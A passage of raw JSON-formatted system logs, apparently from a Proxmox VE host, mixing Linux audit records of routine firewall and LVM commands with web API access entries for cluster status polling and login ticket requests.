success=no exit=-2 a0=7ffd6b473450 a1=5e7fc48d7310 a2=5e7fc48d0680 a3=5 items=1 ppid=65120 pid=65121 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964663688,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:03 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966305762,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.762:69243): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:20 +0100] \"GET /api2/extjs/nodes/localhost/subscription?_dc=1781964680029 HTTP/1.1\" 200 200"} {"@timestamp":1781964274881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964274.881:60315): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b31c0 a1=64f8d514f5c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57911 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965632703,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964665054,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.054:62037): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966295700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.700:69215): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.646:68700): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954893,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965954.893:67805): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964660661,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:59 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966305757,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.757:69242): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:20 +0100] \"GET /api2/extjs/version?_dc=1781964680027 HTTP/1.1\" 200 84"} {"@timestamp":1781964273563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964273.563:60314): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965632703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 943"} {"@timestamp":1781964665048,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.048:62036): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966295694,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.694:69214): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966160.632:68696): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65967 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954893,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965954.893:67804): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964656634,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:55 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966305751,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.751:69241): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:20 +0100] \"GET /api2/extjs/cluster/sdn?_dc=1781964680028 HTTP/1.1\" 200 118"} {"@timestamp":1781964273550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964273.550:60311): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965632703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964665042,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.042:62035): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966295688,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.688:69213): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66450 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966160.632:68695): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65967 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965954.887:67802): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964652911,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:51 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966304474,"@rawstring":"node=pve type=EXECVE msg=audit(1781966304.474:69240): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:20 +0100] \"GET /api2/extjs/cluster/options?_dc=1781964680028 HTTP/1.1\" 200 100"} {"@timestamp":1781964268541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964268.541:60308): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965632703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964664578,"@rawstring":"node=pve type=EXECVE msg=audit(1781964664.578:62034): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966295683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.683:69212): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66449 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966160.627:68693): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965954887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965954.887:67801): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964652911,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:51 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966304442,"@rawstring":"node=pve type=EXECVE msg=audit(1781966304.442:69239): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964268533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964268.533:60305): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965631678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964664547,"@rawstring":"node=pve type=EXECVE msg=audit(1781964664.547:62033): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966295674,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.674:69211): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160626,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966160.626:68692): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965949880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965949.880:67796): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964627529,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:26 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966301127,"@rawstring":"node=pve type=EXECVE msg=audit(1781966301.127:69238): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964679595,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964265466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.466:60302): arch=c000003e syscall=59 success=yes exit=0 a0=6045daa7c0e0 a1=6045daa78e60 a2=6045daa5a680 a3=5 items=2 ppid=57898 pid=57904 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965630291,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964664128,"@rawstring":"node=pve type=EXECVE msg=audit(1781964664.128:62030): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966294367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966294.367:69210): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b38c0 a1=64f8d73b7c60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.936:68688): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc582929d0 a1=6051c4746410 a2=6051c4724680 a3=5 items=1 ppid=65958 pid=65959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965949880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965949.880:67795): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964623622,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:22 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966301117,"@rawstring":"node=pve type=EXECVE msg=audit(1781966301.117:69235): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964678596,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964265463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.463:60301): arch=c000003e syscall=59 success=yes exit=0 a0=6045aa942ac8 a1=7ffc5f46a100 a2=6045daa5a680 a3=6045aa92624e items=2 ppid=57898 pid=57900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965630291,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 947"} {"@timestamp":1781964664087,"@rawstring":"node=pve type=EXECVE msg=audit(1781964664.087:62028): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966294336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966294.336:69209): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1550fb0 a1=64f8d7410b00 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.844:68670): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd589abf00 a1=58d8473871c0 a2=58d847365680 a3=5 items=1 ppid=65939 pid=65940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965949872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965949.872:67793): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964619658,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:19 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966296108,"@rawstring":"node=pve type=EXECVE msg=audit(1781966296.108:69232): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964676677,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964265462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.462:60300): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc5f46a0c0 a1=6045daa61310 a2=6045daa5a680 a3=5 items=2 ppid=57898 pid=57899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965630291,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964660510,"@rawstring":"node=pve type=EXECVE msg=audit(1781964660.510:62025): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966291086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966291.086:69208): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.617:68662): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965949872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965949.872:67792): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964615692,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:15 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966296094,"@rawstring":"node=pve type=EXECVE msg=audit(1781966296.094:69229): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964675676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964265459,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.459:60298): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57898 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965627968,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781964660469,"@rawstring":"node=pve type=EXECVE msg=audit(1781964660.469:62023): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966291076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966291.076:69205): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.617:68661): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.410:67788): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeac2ac7a0 a1=5db851b11310 a2=5db851b0a680 a3=5 items=1 ppid=65099 pid=65100 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964612653,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:11 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295741,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.741:69225): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964672665,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781964265451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.451:60297): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965627968,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964660192,"@rawstring":"node=pve type=EXECVE msg=audit(1781964660.192:62022): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966286064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966286.064:69202): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66441 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.608:68659): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} 